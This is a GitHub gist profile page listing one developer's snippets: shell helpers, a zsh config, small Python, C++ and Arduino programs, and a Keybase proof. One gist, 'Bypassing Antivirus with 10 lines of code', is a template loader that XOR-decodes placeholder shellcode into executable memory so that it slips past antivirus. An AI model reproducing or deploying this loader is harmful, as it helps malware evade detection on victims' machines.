Skip to content

Instantly share code, notes, and snippets.

View NULLx76's full-sized avatar
🏳️‍⚧️

Vivian Roest NULLx76

🏳️‍⚧️
View GitHub Profile
@NULLx76
NULLx76 / up.sh
Last active August 28, 2015 20:45
Bash function that goes up X directories. (for in your ~/.bashrc)
up(){
local d=""
limit=$1
for ((i=1 ; i <= limit ; i++))
do
d=$d/..
done
d=$(echo $d | sed 's/^\///')
if [ -z "$d" ]; then
d=..
@NULLx76
NULLx76 / extract.sh
Last active March 25, 2019 17:25
Bash function that automaticly extracts archives using the correct command (for in your ~/.bashrc)
extract () {
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xvjf $1 ;;
*.tar.gz) tar xvzf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) unrar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xvf $1 ;;
*.tbz2) tar xvjf $1 ;;
@NULLx76
NULLx76 / .zshrc
Last active September 26, 2020 21:48
My own ~/.zshrc file
# Path to your oh-my-zsh installation.
export ZSH=/home/vicx/.oh-my-zsh
#Default User
DEFAULT_USER="vicx"
# Set name of the theme to load.
# Look in ~/.oh-my-zsh/themes/
# Optionally, if you set this to "random", it'll load a random theme each
# time that oh-my-zsh is loaded.
@NULLx76
NULLx76 / evo.py
Created November 3, 2015 15:49
Evolutionary python script
#!/usr/bin/python
import os
import random
import string
#Generate random string:
#target = os.urandom(12)
target = "Hello World!"
@NULLx76
NULLx76 / peg.cpp
Created November 11, 2015 16:55
printer error generator
//I'm fairly new to C++, please excuse the bad code. Just put this program into your compiler of choice, and let the hilarity ensue!
#include <iostream>
#include <string>
#include <cstdlib>
#include <ctime>
using namespace std;
int random(int min, int max); //range : [min, max)
@NULLx76
NULLx76 / cpu
Created February 20, 2016 22:13
#!/bin/sh
#
# z3bra - (c) wtfpl 2014
usage () {
cat <<EOF
usage: $(basename $0) [-hp]
-h : print help
-p : percentage of cpu used (default)
-n : number of running processes
@NULLx76
NULLx76 / code.cpp
Last active May 28, 2024 17:18
Bypassing Antivirus with 10 lines of code
/* source: http://www.attactics.org/2016/03/bypassing-antivirus-with-10-lines-of.html */
#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {
char b[] = {/* your XORd with key of 'x' shellcode goes here i.e. 0x4C,0x4F, 0x4C */};
char c[sizeof b];
for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ 'x';}
void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, c, sizeof c);
@NULLx76
NULLx76 / Arduin-lcd-game.ino
Created June 14, 2016 12:30
Arduino LCD Game
/*
A 'Dodge the things game' using the LiquidCrystal Library
By:
Quirijn
Victor
*/
// include the library code:
#include <LiquidCrystal.h>

Keybase proof

I hereby claim:

  • I am NULLx76 on github.
  • I am 0x76 (https://keybase.io/0x76) on keybase.
  • I have a public key whose fingerprint is 3688 B01C 5936 957F C679 BFD3 3568 7D05 7E08 CD21

To claim this, I am signing this object:

@NULLx76
NULLx76 / package_updates_check.py
Created December 4, 2017 17:12 — forked from yumminhuang/package_updates_check.py
Python script to check apt-get updates
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import apt
import apt_pkg
from time import strftime
import os
import subprocess
import sys